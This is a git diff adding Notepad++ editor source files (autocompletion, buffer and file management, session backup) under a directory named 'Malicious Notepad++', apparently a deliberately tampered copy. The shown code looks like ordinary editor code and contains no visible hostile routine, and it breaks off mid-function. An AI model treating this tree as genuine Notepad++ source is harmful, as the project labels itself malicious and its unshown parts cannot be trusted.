wordSize); + + if (lstrlen(s) >= int(nppGUI._autocFromLen)) + { + if (nppGUI._autocStatus == nppGUI.autoc_word) + showWordComplete(false); + else if (nppGUI._autocStatus == nppGUI.autoc_func) + showApiComplete(); + else if (nppGUI._autocStatus == nppGUI.autoc_both) + showApiAndWordComplete(); + } +} + +void AutoCompletion::callTipClick(int direction) { + if (!_funcCompletionActive) + return; + + if (direction == 1) { + _funcCalltip.showPrevOverload(); + } else if (direction == 2) { + _funcCalltip.showNextOverload(); + } +} + +bool AutoCompletion::setLanguage(LangType language) { + if (_curLang == language) + return true; + _curLang = language; + + TCHAR path[MAX_PATH]; + ::GetModuleFileName(NULL, path, MAX_PATH); + PathRemoveFileSpec(path); + lstrcat(path, TEXT("\\plugins\\APIs\\")); + lstrcat(path, getApiFileName()); + lstrcat(path, TEXT(".xml")); + + if (_pXmlFile) + delete _pXmlFile; + + _pXmlFile = new TiXmlDocument(path); + _funcCompletionActive = _pXmlFile->LoadFile(); + + TiXmlNode * pAutoNode = NULL; + if (_funcCompletionActive) { + _funcCompletionActive = false; //safety + TiXmlNode * pNode = _pXmlFile->FirstChild(TEXT("NotepadPlus")); + if (!pNode) + return false; + pAutoNode = pNode = pNode->FirstChildElement(TEXT("AutoComplete")); + if (!pNode) + return false; + pNode = pNode->FirstChildElement(TEXT("KeyWord")); + if (!pNode) + return false; + _pXmlKeyword = reinterpret_cast(pNode); + if (!_pXmlKeyword) + return false; + _funcCompletionActive = true; + } + + if(_funcCompletionActive) //try setting up environment + { + //setup defaults + _ignoreCase = true; + _funcCalltip._start = '('; + _funcCalltip._stop = ')'; + _funcCalltip._param = ','; + _funcCalltip._terminal = ';'; + _funcCalltip._ignoreCase = true; + _funcCalltip._additionalWordChar.clear(); + + TiXmlElement * pElem = pAutoNode->FirstChildElement(TEXT("Environment")); + if (pElem) + { + const TCHAR * val = 0; + val = pElem->Attribute(TEXT("ignoreCase")); + if (val && !lstrcmp(val, TEXT("no"))) { + _ignoreCase = false; + _funcCalltip._ignoreCase = false; + } + val = pElem->Attribute(TEXT("startFunc")); + if (val && val[0]) + _funcCalltip._start = val[0]; + val = pElem->Attribute(TEXT("stopFunc")); + if (val && val[0]) + _funcCalltip._stop = val[0]; + val = pElem->Attribute(TEXT("paramSeparator")); + if (val && val[0]) + _funcCalltip._param = val[0]; + val = pElem->Attribute(TEXT("terminal")); + if (val && val[0]) + _funcCalltip._terminal = val[0]; + val = pElem->Attribute(TEXT("additionalWordChar")); + if (val && val[0]) + _funcCalltip._additionalWordChar = val; + } + } + + if (_funcCompletionActive) { + _funcCalltip.setLanguageXML(_pXmlKeyword); + } else { + _funcCalltip.setLanguageXML(NULL); + } + + _keyWords.clear(); + _keyWordArray.clear(); + + if (_funcCompletionActive) + { + //Cache the keywords + //Iterate through all keywords + TiXmlElement *funcNode = _pXmlKeyword; + + for (; funcNode; funcNode = funcNode->NextSiblingElement(TEXT("KeyWord")) ) + { + const TCHAR *name = funcNode->Attribute(TEXT("name")); + if (name) + { + size_t len = lstrlen(name); + if (len) + { + _keyWordArray.push_back(name); + if (len > _keyWordMaxLen) + _keyWordMaxLen = len; + } + } + } + + sort(_keyWordArray.begin(), _keyWordArray.end()); + + for (size_t i = 0, len = _keyWordArray.size(); i < len; ++i) + { + _keyWords.append(_keyWordArray[i]); + _keyWords.append(TEXT(" ")); + } + } + return _funcCompletionActive; +} + +const TCHAR * AutoCompletion::getApiFileName() +{ + if (_curLang == L_USER) + { + Buffer * currentBuf = _pEditView->getCurrentBuffer(); + if (currentBuf->isUserDefineLangExt()) + { + return currentBuf->getUserDefineLangName(); + } + } + + if (_curLang >= L_EXTERNAL && _curLang < NppParameters::getInstance()->L_END) + return NppParameters::getInstance()->getELCFromIndex(_curLang - L_EXTERNAL)._name; + + if (_curLang > L_EXTERNAL) + _curLang = L_TEXT; + + if (_curLang == L_JAVASCRIPT) + _curLang = L_JS; + + return ScintillaEditView::langNames[_curLang].lexerName; + +} diff --git a/Malicious Notepad++/src/ScitillaComponent/AutoCompletion.h b/Malicious Notepad++/src/ScitillaComponent/AutoCompletion.h new file mode 100644 index 0000000..3671421 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/AutoCompletion.h @@ -0,0 +1,106 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "FunctionCallTip.h" +#include "tinyxml.h" + +const size_t tagMaxLen = 256; + +class ScintillaEditView; + +struct MatchedCharInserted { + char _c; + int _pos; + MatchedCharInserted(char c, int pos) : _c(c), _pos(pos) {}; +}; + +class InsertedMatchedChars { +public: + void init(ScintillaEditView * pEditView) { _pEditView = pEditView; }; + void removeInvalidElements(MatchedCharInserted mci); + void add(MatchedCharInserted mci); + bool isEmpty() const { return _insertedMatchedChars.size() == 0; }; + int search(char startChar, char endChar, int posToDetect); + +private: + std::vector _insertedMatchedChars; + ScintillaEditView * _pEditView; +}; + +class AutoCompletion { +public: + explicit AutoCompletion(ScintillaEditView * pEditView): _pEditView(pEditView), _funcCalltip(pEditView) { + //Do not load any language yet + _insertedMatchedChars.init(_pEditView); + }; + + ~AutoCompletion(){ + if (_pXmlFile) + delete _pXmlFile; + }; + + bool setLanguage(LangType language); + + //AutoComplete from the list + bool showApiComplete(); + //WordCompletion from the current file + bool showWordComplete(bool autoInsert); //autoInsert true if completion should fill in the word on a single match + // AutoComplete from both the list and the current file + bool showApiAndWordComplete(); + //Parameter display from the list + bool showFunctionComplete(); + // Autocomplete from path. + void showPathCompletion(); + + void insertMatchedChars(int character, const MatchedPairConf & matchedPairConf); + void update(int character); + void callTipClick(int direction); + void getCloseTag(char *closeTag, size_t closeTagLen, size_t caretPos, bool isHTML); + +private: + bool _funcCompletionActive = false; + ScintillaEditView * _pEditView = nullptr; + LangType _curLang = L_TEXT; + TiXmlDocument *_pXmlFile = nullptr; + TiXmlElement *_pXmlKeyword = nullptr; + + InsertedMatchedChars _insertedMatchedChars; + + bool _ignoreCase = true; + + std::vector _keyWordArray; + generic_string _keyWords; + size_t _keyWordMaxLen = 0; + + FunctionCallTip _funcCalltip; + + const TCHAR * getApiFileName(); + void getWordArray(std::vector & wordArray, TCHAR *beginChars); +}; diff --git a/Malicious Notepad++/src/ScitillaComponent/Buffer.cpp b/Malicious Notepad++/src/ScitillaComponent/Buffer.cpp new file mode 100644 index 0000000..a6c0fb4 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/Buffer.cpp @@ -0,0 +1,1557 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include +#include +#include +#include +#include "Buffer.h" +#include "Scintilla.h" +#include "Parameters.h" +#include "Notepad_plus.h" +#include "ScintillaEditView.h" +#include "EncodingMapper.h" +#include "uchardet.h" +#include "LongRunningOperation.h" + +FileManager * FileManager::_pSelf = new FileManager(); + +static const int blockSize = 128 * 1024 + 4; +static const int CR = 0x0D; +static const int LF = 0x0A; + +long Buffer::_recentTagCtr = 0; + +namespace // anonymous +{ + static EolType getEOLFormatForm(const char* const data, size_t length, EolType defvalue = EolType::osdefault) + { + assert(length == 0 or data != nullptr && "invalid buffer for getEOLFormatForm()"); + + for (size_t i = 0; i != length; ++i) + { + if (data[i] == CR) + { + if (i + 1 < length && data[i + 1] == LF) + return EolType::windows; + + return EolType::macos; + } + + if (data[i] == LF) + return EolType::unix; + } + + return defvalue; // fallback unknown + } +} // anonymous namespace + + +Buffer::Buffer(FileManager * pManager, BufferID id, Document doc, DocFileStatus type, const TCHAR *fileName) + // type must be either DOC_REGULAR or DOC_UNNAMED + : _pManager(pManager) , _id(id), _doc(doc), _lang(L_TEXT) +{ + NppParameters* pNppParamInst = NppParameters::getInstance(); + const NewDocDefaultSettings& ndds = (pNppParamInst->getNppGUI()).getNewDocDefaultSettings(); + + _eolFormat = ndds._format; + _unicodeMode = ndds._unicodeMode; + _encoding = ndds._codepage; + if (_encoding != -1) + _unicodeMode = uniCookie; + + _currentStatus = type; + + setFileName(fileName, ndds._lang); + updateTimeStamp(); + checkFileState(); + + // reset after initialization + _isDirty = false; + _canNotify = true; + _needLexer = false; // new buffers do not need lexing, Scintilla takes care of that +} + + +void Buffer::doNotify(int mask) +{ + if (_canNotify) + { + assert(_pManager != nullptr); + _pManager->beNotifiedOfBufferChange(this, mask); + } +} + + +void Buffer::setDirty(bool dirty) +{ + _isDirty = dirty; + doNotify(BufferChangeDirty); +} + + +void Buffer::setEncoding(int encoding) +{ + _encoding = encoding; + doNotify(BufferChangeUnicode | BufferChangeDirty); +} + + +void Buffer::setUnicodeMode(UniMode mode) +{ + _unicodeMode = mode; + doNotify(BufferChangeUnicode | BufferChangeDirty); +} + + +void Buffer::setLangType(LangType lang, const TCHAR* userLangName) +{ + if (lang == _lang && lang != L_USER) + return; + + _lang = lang; + if (_lang == L_USER) + _userLangExt = userLangName; + + _needLexer = true; //change of lang means lexern needs updating + doNotify(BufferChangeLanguage|BufferChangeLexing); +} + + +void Buffer::updateTimeStamp() +{ + struct _stat buf; + time_t timeStamp = (generic_stat(_fullPathName.c_str(), &buf)==0)?buf.st_mtime:0; + + if (timeStamp != _timeStamp) + { + _timeStamp = timeStamp; + doNotify(BufferChangeTimestamp); + } +} + + +// Set full path file name in buffer object, +// and determinate its language by its extension. +// If the ext is not in the list, the defaultLang passed as argument will be set. +void Buffer::setFileName(const TCHAR *fn, LangType defaultLang) +{ + NppParameters *pNppParamInst = NppParameters::getInstance(); + if (_fullPathName == fn) + { + updateTimeStamp(); + doNotify(BufferChangeTimestamp); + return; + } + + _fullPathName = fn; + _fileName = PathFindFileName(_fullPathName.c_str()); + + // for _lang + LangType newLang = defaultLang; + TCHAR *ext = PathFindExtension(_fullPathName.c_str()); + if (*ext == '.') // extension found + { + ext += 1; + + // Define User Lang firstly + const TCHAR* langName = pNppParamInst->getUserDefinedLangNameFromExt(ext, _fileName); + if (langName) + { + newLang = L_USER; + _userLangExt = langName; + } + else // if it's not user lang, then check if it's supported lang + { + _userLangExt.clear(); + newLang = pNppParamInst->getLangFromExt(ext); + } + } + + if (newLang == defaultLang || newLang == L_TEXT) //language can probably be refined + { + if ((!generic_stricmp(_fileName, TEXT("makefile"))) || (!generic_stricmp(_fileName, TEXT("GNUmakefile")))) + newLang = L_MAKEFILE; + else if (!generic_stricmp(_fileName, TEXT("CmakeLists.txt"))) + newLang = L_CMAKE; + else if ((!generic_stricmp(_fileName, TEXT("SConstruct"))) || (!generic_stricmp(_fileName, TEXT("SConscript"))) || (!generic_stricmp(_fileName, TEXT("wscript")))) + newLang = L_PYTHON; + else if ((!generic_stricmp(_fileName, TEXT("Rakefile"))) || (!generic_stricmp(_fileName, TEXT("Vagrantfile")))) + newLang = L_RUBY; + } + + updateTimeStamp(); + + if (!_hasLangBeenSetFromMenu && (newLang != _lang || _lang == L_USER)) + { + _lang = newLang; + doNotify(BufferChangeFilename | BufferChangeLanguage | BufferChangeTimestamp); + return; + } + + doNotify(BufferChangeFilename | BufferChangeTimestamp); +} + + +bool Buffer::checkFileState() //eturns true if the status has been changed (it can change into DOC_REGULAR too). false otherwise +{ + if (_currentStatus == DOC_UNNAMED) //unsaved document cannot change by environment + return false; + + struct _stat buf; + bool isWow64Off = false; + NppParameters *pNppParam = NppParameters::getInstance(); + + if (not PathFileExists(_fullPathName.c_str())) + { + pNppParam->safeWow64EnableWow64FsRedirection(FALSE); + isWow64Off = true; + } + + bool isOK = false; + if (_currentStatus != DOC_DELETED && not PathFileExists(_fullPathName.c_str())) //document has been deleted + { + _currentStatus = DOC_DELETED; + _isFileReadOnly = false; + _isDirty = true; //dirty sicne no match with filesystem + _timeStamp = 0; + doNotify(BufferChangeStatus | BufferChangeReadonly | BufferChangeTimestamp); + isOK = true; + } + else if (_currentStatus == DOC_DELETED && PathFileExists(_fullPathName.c_str())) + { //document has returned from its grave + if (not generic_stat(_fullPathName.c_str(), &buf)) + { + _isFileReadOnly = (bool)(!(buf.st_mode & _S_IWRITE)); + + _currentStatus = DOC_MODIFIED; + _timeStamp = buf.st_mtime; + + if (_reloadFromDiskRequestGuard.try_lock()) + { + doNotify(BufferChangeStatus | BufferChangeReadonly | BufferChangeTimestamp); + _reloadFromDiskRequestGuard.unlock(); + } + isOK = true; + } + } + else if (not generic_stat(_fullPathName.c_str(), &buf)) + { + int mask = 0; //status always 'changes', even if from modified to modified + bool isFileReadOnly = (bool)(not(buf.st_mode & _S_IWRITE)); + if (isFileReadOnly != _isFileReadOnly) + { + _isFileReadOnly = isFileReadOnly; + mask |= BufferChangeReadonly; + } + if (_timeStamp != buf.st_mtime) + { + _timeStamp = buf.st_mtime; + mask |= BufferChangeTimestamp; + _currentStatus = DOC_MODIFIED; + mask |= BufferChangeStatus; //status always 'changes', even if from modified to modified + } + + if (mask != 0) + { + if (_reloadFromDiskRequestGuard.try_lock()) + { + doNotify(mask); + + _reloadFromDiskRequestGuard.unlock(); + + return true; + } + } + + return false; + } + + if (isWow64Off) + { + pNppParam->safeWow64EnableWow64FsRedirection(TRUE); + } + return isOK; +} + +void Buffer::reload() +{ + struct _stat buf; + if (PathFileExists(_fullPathName.c_str()) && not generic_stat(_fullPathName.c_str(), &buf)) + { + _timeStamp = buf.st_mtime; + _currentStatus = DOC_NEEDRELOAD; + doNotify(BufferChangeTimestamp | BufferChangeStatus); + } +} + +int Buffer::getFileLength() const +{ + if (_currentStatus == DOC_UNNAMED) + return -1; + + struct _stat buf; + + if (PathFileExists(_fullPathName.c_str())) + { + if (!generic_stat(_fullPathName.c_str(), &buf)) + return buf.st_size; + } + return -1; +} + + +generic_string Buffer::getFileTime(fileTimeType ftt) const +{ + if (_currentStatus == DOC_UNNAMED) + return generic_string(); + + struct _stat buf; + + if (PathFileExists(_fullPathName.c_str())) + { + if (!generic_stat(_fullPathName.c_str(), &buf)) + { + time_t rawtime = (ftt == ft_created ? buf.st_ctime : (ftt == ft_modified ? buf.st_mtime : buf.st_atime)); + tm *timeinfo = localtime(&rawtime); + const int temBufLen = 64; + TCHAR tmpbuf[temBufLen]; + + generic_strftime(tmpbuf, temBufLen, TEXT("%Y-%m-%d %H:%M:%S"), timeinfo); + return tmpbuf; + } + } + + return generic_string(); +} + + +void Buffer::setPosition(const Position & pos, ScintillaEditView * identifier) +{ + int index = indexOfReference(identifier); + if (index == -1) + return; + _positions[index] = pos; +} + + +Position& Buffer::getPosition(ScintillaEditView* identifier) +{ + int index = indexOfReference(identifier); + return _positions.at(index); +} + + +void Buffer::setHeaderLineState(const std::vector & folds, ScintillaEditView * identifier) +{ + int index = indexOfReference(identifier); + if (index == -1) + return; + + //deep copy + std::vector & local = _foldStates[index]; + local.clear(); + size_t size = folds.size(); + for(size_t i = 0; i < size; ++i) + local.push_back(folds[i]); +} + + +const std::vector & Buffer::getHeaderLineState(const ScintillaEditView * identifier) const +{ + int index = indexOfReference(identifier); + return _foldStates.at(index); +} + + +Lang * Buffer::getCurrentLang() const +{ + NppParameters *pNppParam = NppParameters::getInstance(); + int i = 0; + Lang *l = pNppParam->getLangFromIndex(i); + ++i; + while (l) + { + if (l->_langID == _lang) + return l; + + l = pNppParam->getLangFromIndex(i); + ++i; + } + return nullptr; +} + + +int Buffer::indexOfReference(const ScintillaEditView * identifier) const +{ + size_t size = _referees.size(); + for (size_t i = 0; i < size; ++i) + { + if (_referees[i] == identifier) + return static_cast(i); + } + return -1; //not found +} + + +int Buffer::addReference(ScintillaEditView * identifier) +{ + if (indexOfReference(identifier) != -1) + return _references; + + _referees.push_back(identifier); + _positions.push_back(Position()); + _foldStates.push_back(std::vector()); + ++_references; + return _references; +} + + +int Buffer::removeReference(ScintillaEditView * identifier) +{ + int indexToPop = indexOfReference(identifier); + if (indexToPop == -1) + return _references; + + _referees.erase(_referees.begin() + indexToPop); + _positions.erase(_positions.begin() + indexToPop); + _foldStates.erase(_foldStates.begin() + indexToPop); + _references--; + return _references; +} + + +void Buffer::setHideLineChanged(bool isHide, int location) +{ + //First run through all docs without removing markers + for(int i = 0; i < _references; ++i) + _referees.at(i)->notifyMarkers(this, isHide, location, false); // (i == _references-1)); + + if (!isHide) // no deleting if hiding lines + { + //Then all docs to remove markers. + for(int i = 0; i < _references; ++i) + _referees.at(i)->notifyMarkers(this, isHide, location, true); + } +} + + +void Buffer::setDeferredReload() // triggers a reload on the next Document access +{ + _isDirty = false; //when reloading, just set to false, since it sohuld be marked as clean + _needReloading = true; + doNotify(BufferChangeDirty); +} + + +//filemanager + +FileManager::~FileManager() +{ + for (std::vector::iterator it = _buffers.begin(), end = _buffers.end(); it != end; ++it) + { + delete *it; + } +} + +void FileManager::init(Notepad_plus * pNotepadPlus, ScintillaEditView * pscratchTilla) +{ + _pNotepadPlus = pNotepadPlus; + _pscratchTilla = pscratchTilla; + _pscratchTilla->execute(SCI_SETUNDOCOLLECTION, false); //dont store any undo information + _scratchDocDefault = (Document)_pscratchTilla->execute(SCI_GETDOCPOINTER); + _pscratchTilla->execute(SCI_ADDREFDOCUMENT, 0, _scratchDocDefault); +} + +void FileManager::checkFilesystemChanges() +{ + for (int i = int(_nbBufs) - 1; i >= 0 ; i--) + { + if (i >= int(_nbBufs)) + { + if (_nbBufs == 0) + return; + + i = int(_nbBufs) - 1; + } + _buffers[i]->checkFileState(); //something has changed. Triggers update automatically + } +} + + +int FileManager::getBufferIndexByID(BufferID id) +{ + for(size_t i = 0; i < _nbBufs; ++i) + { + if (_buffers[i]->_id == id) + return static_cast(i); + } + return -1; +} + +Buffer* FileManager::getBufferByIndex(size_t index) +{ + if (index >= _buffers.size()) + return nullptr; + return _buffers.at(index); +} + + +void FileManager::beNotifiedOfBufferChange(Buffer* theBuf, int mask) +{ + _pNotepadPlus->notifyBufferChanged(theBuf, mask); +} + + +void FileManager::addBufferReference(BufferID buffer, ScintillaEditView * identifier) +{ + Buffer* buf = getBufferByID(buffer); + buf->addReference(identifier); +} + + +void FileManager::closeBuffer(BufferID id, ScintillaEditView * identifier) +{ + int index = getBufferIndexByID(id); + Buffer* buf = getBufferByIndex(index); + + int refs = buf->removeReference(identifier); + + if (!refs) // buffer can be deallocated + { + _pscratchTilla->execute(SCI_RELEASEDOCUMENT, 0, buf->_doc); //release for FileManager, Document is now gone + _buffers.erase(_buffers.begin() + index); + delete buf; + _nbBufs--; + } +} + + +// backupFileName is sentinel of backup mode: if it's not NULL, then we use it (load it). Otherwise we use filename +BufferID FileManager::loadFile(const TCHAR * filename, Document doc, int encoding, const TCHAR *backupFileName, time_t fileNameTimestamp) +{ + bool ownDoc = false; + if (doc == NULL) + { + doc = (Document)_pscratchTilla->execute(SCI_CREATEDOCUMENT); + ownDoc = true; + } + + TCHAR fullpath[MAX_PATH]; + ::GetFullPathName(filename, MAX_PATH, fullpath, NULL); + if (_tcschr(fullpath, '~')) + { + ::GetLongPathName(fullpath, fullpath, MAX_PATH); + } + + bool isSnapshotMode = backupFileName != NULL && PathFileExists(backupFileName); + if (isSnapshotMode && !PathFileExists(fullpath)) // if backup mode and fullpath doesn't exist, we guess is UNTITLED + { + lstrcpy(fullpath, filename); // we restore fullpath with filename, in our case is "new #" + } + + Utf8_16_Read UnicodeConvertor; //declare here so we can get information after loading is done + + char data[blockSize + 8]; // +8 for incomplete multibyte char + EolType bkformat = EolType::unknown; + LangType detectedLang = L_TEXT; + bool res = loadFileData(doc, backupFileName ? backupFileName : fullpath, data, &UnicodeConvertor, detectedLang, encoding, bkformat); + if (res) + { + Buffer* newBuf = new Buffer(this, _nextBufferID, doc, DOC_REGULAR, fullpath); + BufferID id = static_cast(newBuf); + newBuf->_id = id; + + if (backupFileName != NULL) + { + newBuf->_backupFileName = backupFileName; + if (!PathFileExists(fullpath)) + newBuf->_currentStatus = DOC_UNNAMED; + } + + if (fileNameTimestamp != 0) + newBuf->_timeStamp = fileNameTimestamp; + + _buffers.push_back(newBuf); + ++_nbBufs; + Buffer* buf = _buffers.at(_nbBufs - 1); + + // restore the encoding (ANSI based) while opening the existing file + NppParameters *pNppParamInst = NppParameters::getInstance(); + const NewDocDefaultSettings & ndds = (pNppParamInst->getNppGUI()).getNewDocDefaultSettings(); + buf->setUnicodeMode(ndds._unicodeMode); + buf->setEncoding(-1); + + // if no file extension, and the language has been detected, we use the detected value + if ((buf->getLangType() == L_TEXT) && (detectedLang != L_TEXT)) + buf->setLangType(detectedLang); + + if (encoding == -1) + { + UniMode um = UnicodeConvertor.getEncoding(); + if (um == uni7Bit) + um = (ndds._openAnsiAsUtf8) ? uniCookie : uni8Bit; + + buf->setUnicodeMode(um); + } + else // encoding != -1 + { + // Test if encoding is set to UTF8 w/o BOM (usually for utf8 indicator of xml or html) + buf->setEncoding((encoding == SC_CP_UTF8)?-1:encoding); + buf->setUnicodeMode(uniCookie); + } + + buf->setEolFormat(bkformat); + + //determine buffer properties + ++_nextBufferID; + return id; + } + else //failed loading, release document + { + if (ownDoc) + _pscratchTilla->execute(SCI_RELEASEDOCUMENT, 0, doc); //Failure, so release document + return BUFFER_INVALID; + } +} + + +bool FileManager::reloadBuffer(BufferID id) +{ + Buffer* buf = getBufferByID(id); + Document doc = buf->getDocument(); + Utf8_16_Read UnicodeConvertor; + buf->_canNotify = false; //disable notify during file load, we dont want dirty to be triggered + int encoding = buf->getEncoding(); + char data[blockSize + 8]; // +8 for incomplete multibyte char + EolType bkformat; + LangType lang = buf->getLangType(); + + + buf->setLoadedDirty(false); // Since the buffer will be reloaded from the disk, and it will be clean (not dirty), we can set _isLoadedDirty false safetly. + // Set _isLoadedDirty false before calling "_pscratchTilla->execute(SCI_CLEARALL);" in loadFileData() to avoid setDirty in SCN_SAVEPOINTREACHED / SCN_SAVEPOINTLEFT + + bool res = loadFileData(doc, buf->getFullPathName(), data, &UnicodeConvertor, lang, encoding, bkformat); + buf->_canNotify = true; + + if (res) + { + if (encoding == -1) + { + buf->setUnicodeMode(UnicodeConvertor.getEncoding()); + } + else + { + buf->setEncoding(encoding); + buf->setUnicodeMode(uniCookie); + } + } + return res; +} + + +bool FileManager::reloadBufferDeferred(BufferID id) +{ + Buffer* buf = getBufferByID(id); + buf->setDeferredReload(); + return true; +} + +bool FileManager::deleteFile(BufferID id) +{ + Buffer* buf = getBufferByID(id); + generic_string fileNamePath = buf->getFullPathName(); + + // Make sure to form a string with double '\0' terminator. + fileNamePath.append(1, '\0'); + + if (!PathFileExists(fileNamePath.c_str())) + return false; + //return ::DeleteFile(fileNamePath) != 0; + + SHFILEOPSTRUCT fileOpStruct = {0}; + fileOpStruct.hwnd = NULL; + fileOpStruct.pFrom = fileNamePath.c_str(); + fileOpStruct.pTo = NULL; + fileOpStruct.wFunc = FO_DELETE; + fileOpStruct.fFlags = FOF_ALLOWUNDO; + fileOpStruct.fAnyOperationsAborted = false; + fileOpStruct.hNameMappings = NULL; + fileOpStruct.lpszProgressTitle = NULL; + + return SHFileOperation(&fileOpStruct) == 0; +} + + +bool FileManager::moveFile(BufferID id, const TCHAR * newFileName) +{ + Buffer* buf = getBufferByID(id); + const TCHAR *fileNamePath = buf->getFullPathName(); + if (::MoveFileEx(fileNamePath, newFileName, MOVEFILE_REPLACE_EXISTING) == 0) + return false; + + buf->setFileName(newFileName); + return true; +} + + +/* +Specs and Algorithm of session snapshot & periodic backup system: +Notepad++ quits without asking for saving unsaved file. +It restores all the unsaved files and document as the states they left. + +For existing file (c:\tmp\foo.h) + - Open + In the next session, Notepad++ + 1. load backup\FILENAME@CREATION_TIMESTAMP (backup\foo.h@198776) if exist, otherwise load FILENAME (c:\tmp\foo.h). + 2. if backup\FILENAME@CREATION_TIMESTAMP (backup\foo.h@198776) is loaded, set it dirty (red). + 3. if backup\FILENAME@CREATION_TIMESTAMP (backup\foo.h@198776) is loaded, last modif timestamp of FILENAME (c:\tmp\foo.h), compare with tracked timestamp (in session.xml). + 4. in the case of unequal result, tell user the FILENAME (c:\tmp\foo.h) was modified. ask user if he want to reload FILENAME(c:\tmp\foo.h) + + - Editing + when a file starts being modified, a file will be created with name: FILENAME@CREATION_TIMESTAMP (backup\foo.h@198776) + the Buffer object will associate with this FILENAME@CREATION_TIMESTAMP file (backup\foo.h@198776). + 1. sync: (each 3-5 second) backup file will be saved, if buffer is dirty, and modification is present (a bool on modified notificatin). + 2. sync: each save file, or close file, the backup file will be deleted (if buffer is not dirty). + 3. before switch off to another tab (or close files on exit), check 1 & 2 (sync with backup). + + - Close + In the current session, Notepad++ + 1. track FILENAME@CREATION_TIMESTAMP (backup\foo.h@198776) if exist (in session.xml). + 2. track last modified timestamp of FILENAME (c:\tmp\foo.h) if FILENAME@CREATION_TIMESTAMP (backup\foo.h@198776) was tracked (in session.xml). + +For untitled document (new 4) + - Open + In the next session, Notepad++ + 1. open file UNTITLED_NAME@CREATION_TIMESTAMP (backup\new 4@198776) + 2. set label as UNTITLED_NAME (new 4) and disk icon as red. + + - Editing + when a untitled document starts being modified, a backup file will be created with name: UNTITLED_NAME@CREATION_TIMESTAMP (backup\new 4@198776) + the Buffer object will associate with this UNTITLED_NAME@CREATION_TIMESTAMP file (backup\new 4@198776). + 1. sync: (each 3-5 second) backup file will be saved, if buffer is dirty, and modification is present (a bool on modified notificatin). + 2. sync: if untitled document is saved, or closed, the backup file will be deleted. + 3. before switch off to another tab (or close documents on exit), check 1 & 2 (sync with backup). + + - CLOSE + In the current session, Notepad++ + 1. track UNTITLED_NAME@CREATION_TIMESTAMP (backup\new 4@198776) in session.xml. +*/ +bool FileManager::backupCurrentBuffer() +{ + LongRunningOperation op; + + Buffer* buffer = _pNotepadPlus->getCurrentBuffer(); + bool result = false; + bool hasModifForSession = false; + + if (buffer->isDirty()) + { + if (buffer->isModified()) // buffer dirty and modified, write the backup file + { + // Synchronization + // This method is called from 2 differents place, so synchronization is important + HANDLE writeEvent = ::OpenEvent(EVENT_ALL_ACCESS, TRUE, TEXT("nppWrittingEvent")); + if (not writeEvent) + { + // no thread yet, create a event with non-signaled, to block all threads + writeEvent = ::CreateEvent(NULL, TRUE, FALSE, TEXT("nppWrittingEvent")); + if (not writeEvent) + { + printStr(TEXT("CreateEvent problem in backupCurrentBuffer()!")); + return false; + } + } + else + { + if (::WaitForSingleObject(writeEvent, INFINITE) != WAIT_OBJECT_0) + { + printStr(TEXT("WaitForSingleObject problem in backupCurrentBuffer()!")); + return false; + } + + // unlocled here, set to non-signaled state, to block all threads + if (not ::ResetEvent(writeEvent)) + { + printStr(TEXT("ResetEvent problem in backupCurrentBuffer()!")); + return false; + } + } + + UniMode mode = buffer->getUnicodeMode(); + if (mode == uniCookie) + mode = uni8Bit; //set the mode to ANSI to prevent converter from adding BOM and performing conversions, Scintilla's data can be copied directly + + Utf8_16_Write UnicodeConvertor; + UnicodeConvertor.setEncoding(mode); + int encoding = buffer->getEncoding(); + + generic_string backupFilePath = buffer->getBackupFileName(); + if (backupFilePath.empty()) + { + // Create file + backupFilePath = NppParameters::getInstance()->getUserPath(); + backupFilePath += TEXT("\\backup\\"); + + // if "backup" folder doesn't exist, create it. + if (!PathFileExists(backupFilePath.c_str())) + { + ::CreateDirectory(backupFilePath.c_str(), NULL); + } + + backupFilePath += buffer->getFileName(); + + const int temBufLen = 32; + TCHAR tmpbuf[temBufLen]; + time_t ltime = time(0); + struct tm* today = localtime(<ime); + generic_strftime(tmpbuf, temBufLen, TEXT("%Y-%m-%d_%H%M%S"), today); + + backupFilePath += TEXT("@"); + backupFilePath += tmpbuf; + + // Set created file name in buffer + buffer->setBackupFileName(backupFilePath); + + // Session changes, save it + hasModifForSession = true; + } + + TCHAR fullpath[MAX_PATH]; + ::GetFullPathName(backupFilePath.c_str(), MAX_PATH, fullpath, NULL); + if (_tcschr(fullpath, '~')) + { + ::GetLongPathName(fullpath, fullpath, MAX_PATH); + } + + // Make sure the backup file is not read only + DWORD dwFileAttribs = ::GetFileAttributes(fullpath); + if (dwFileAttribs & FILE_ATTRIBUTE_READONLY) // if file is read only, remove read only attribute + { + dwFileAttribs ^= FILE_ATTRIBUTE_READONLY; + ::SetFileAttributes(fullpath, dwFileAttribs); + } + + FILE *fp = 